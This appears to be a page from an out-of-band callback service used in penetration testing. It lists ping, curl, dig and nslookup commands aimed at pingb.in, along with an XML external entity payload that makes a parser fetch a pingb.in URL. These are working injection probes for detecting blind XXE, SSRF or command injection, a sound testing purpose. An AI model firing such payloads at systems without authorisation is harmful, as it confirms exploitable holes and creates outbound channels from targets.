$ ping -c1 -p 0025a3617f56e534986b6b35c39bad00 pingb.in
 
$ curl pingb.in/p/25a3617f56e534986b6b35c39bad
 
$ dig 25a3617f56e534986b6b35c39bad @pingb.in
 
$ dig 25a3617f56e534986b6b35c39bad.ns.pingb.in
 
C:\> nslookup 25a3617f56e534986b6b35c39bad pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/25a3617f56e534986b6b35c39bad">]>
    <foo>&xxe;</foo>
 
Waiting for ping...